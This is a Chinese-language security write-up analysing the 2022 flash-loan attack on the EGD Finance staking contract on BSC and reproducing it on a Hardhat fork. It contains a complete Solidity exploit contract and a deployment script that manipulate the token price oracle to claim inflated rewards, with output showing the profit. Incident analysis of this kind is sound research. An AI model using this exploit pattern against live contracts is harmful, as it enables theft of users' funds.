EGD攻击事件分析与复现

2022-09-21

简述

部署在bsc上的egd finance 质押奖励合约由于在计算奖励时获取代币价格直接使用pair中两代币余额相除导致被闪电贷攻击

分析

攻击者钱包:0xee0221d76504aec40f63ad7e36855eebf5ea5edd

被攻击合约(代理合约):0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370

逻辑合约:0x93c175439726797DcEe24D08e4ac9164E88e7Aee

攻击合约:0xc30808d9373093fbfcec9e026457c6a9dab706a7

攻击hash:https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3

漏洞成因

在奖励合约中计算奖励数量时调用了getEGDPrice()

image-20220921133905690

而getEGDPrice() 直接使用pair 中两个代币中的数量相除,因此攻击者可以利用闪电贷先将pair中的usdt贷走,此时getEGDPrice() 返回一个很小的值,rew 会变得很大,导致奖励增多

image-20220921133928821

漏洞复现

使用hardhat fork bsc 20245400 区块

攻击合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
pragma solidity 0.8.10;

import "hardhat/console.sol";

interface IERC20{
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function approve(address spender, uint256 amount) external;// returns (bool);
}

interface IEGD{
function bond(address invitor) external;
function stake(uint amount) external;
function calculateAll(address addr) external view returns (uint);
function claimAllReward() external;
function getEGDPrice() external view returns (uint);
}

interface IpancakePair{
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function sync() external;
}

interface IpancakeRouter{
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
}



contract attack{
IpancakePair pair = IpancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IpancakeRouter router = IpancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address egd = 0x202b233735bF743FA31abb8f71e641970161bF98;
address usdt = 0x55d398326f99059fF775485246999027B3197955;
address egd_finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address owner;

modifier onlyOwner{
require(msg.sender == owner,"not owner");
_;}

constructor(){
owner = msg.sender;
}

//实施步骤:
//1、绑定推荐人 2、质押 3、闪电贷(claimreward)

function approveforall() public{
IERC20(usdt).approve(egd_finance, type(uint).max);
IERC20(egd).approve(address(router),type(uint).max);
}

function bond() public{
IEGD(egd_finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
}

function stake() public{
IEGD(egd_finance).stake(100 ether);
}

function flashloan() public onlyOwner{
uint256 amount = IERC20(usdt).balanceOf(address(pair))* 9999999800 / 10000000000;
pair.swap(
0,
amount,
address(this),
new bytes(1)
);

address[] memory path = new address[](2);
path[0] = egd;
path[1] = usdt;
uint256 egdamount = IERC20(egd).balanceOf(address(this));
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
egdamount,
0,
path,
address(this),
block.timestamp
);
console.log("attack complete usdt balance is:",IERC20(usdt).balanceOf(address(this))/1e18);
console.log("attack complete egd balance is:",IERC20(egd).balanceOf(address(this))/1e18);


}

function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external
{
IEGD(egd_finance).claimAllReward();
//return money
uint256 amount = (amount1*10030)/10000;
IERC20(usdt).transfer(address(pair), amount);
console.log("return money complete pair usdt balance:",IERC20(usdt).balanceOf(address(pair))/1e18);

}



}
攻击脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const hre = require('hardhat')

async function main(){
const hacker = '0x8894E0a0c962CB723c1976a4421c95949bE2D4E3' //binance hot wallet
const usdt = '0x55d398326f99059fF775485246999027B3197955'

await hre.network.provider.request({
method:'hardhat_impersonateAccount',
params:[hacker]
})

const signer = await hre.ethers.getSigner(hacker)

//step1 depoly contract
let ATTACK = await hre.ethers.getContractFactory("attack", signer)
let usdtContract = await hre.ethers.getContractAt('IBEP20', usdt)
let attack = await ATTACK.deploy()
await attack.deployed()
console.log("attack contrack deployed address is:", attack.address)

//step2 transfer 2000 usdt to attack contract
await usdtContract.connect(signer).transfer(attack.address,BigInt(2000*10**18))
const bal1 = await usdtContract.balanceOf(attack.address)
console.log("send 2000 usdt to attack contract...")

//step3 approve for all
await attack.approveforall()

//step4 bond invitor
await attack.bond()

//step5 stake
await attack.stake()

console.log("wait for 2 min...");
await hre.network.provider.send("evm_increaseTime", [120]);
await hre.network.provider.send("evm_mine");

//step6 flashloan
await attack.flashloan()

}

main()

结果如下:

1
2
3
4
5
6
attack contract deployed address is: 0x903367121afA8d47bc6fcB746D9B17FF1dB53BF6
send 2000 usdt to attack contract...
wait for 2 min...
return money complete pair usdt balance: 425729
attack complete usdt balance is: 32531
attack complete egd balance is: 0

这里参考defihacklabs exp时发现有几个问题:

1、闪电贷池子中usdt 的比例 9999999925 / 10000000000 时无法成功

2、最后在将egd换成usdt步骤放在闪电贷执行过程(pancakeCall 函数)时不会成功(报错 pancake locked)

参考链接

https://learnblockchain.cn/article/4559

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/EGD-Finance.exp.sol